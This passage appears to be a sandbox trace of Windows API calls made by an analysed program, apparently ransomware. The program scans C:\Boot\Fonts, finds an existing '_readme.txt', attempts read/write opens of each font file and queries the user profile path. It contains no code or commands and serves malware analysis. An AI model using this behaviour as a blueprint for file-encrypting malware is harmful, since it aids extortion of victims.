RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.499] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.499] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.499] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.499] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.499] PathFindFileNameW (pszPath="") returned="" [0122.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.499] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.500] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.500] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.500] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x30667b8 [0122.500] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0122.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.500] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0122.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.500] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.500] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.500] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.501] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0122.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.501] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0122.501] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.501] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0122.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.501] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0122.501] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.502] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0122.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.502] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0122.502] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.502] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0122.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.503] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0122.503] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.503] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0122.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.503] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0122.503] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.503] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.503] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned=".txt" [0122.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.503] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.503] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.503] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.503] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.503] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.504] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0122.504] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.504] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.504] PathFindFileNameW (pszPath="") returned="" [0122.504] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.505] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.505] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.505] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 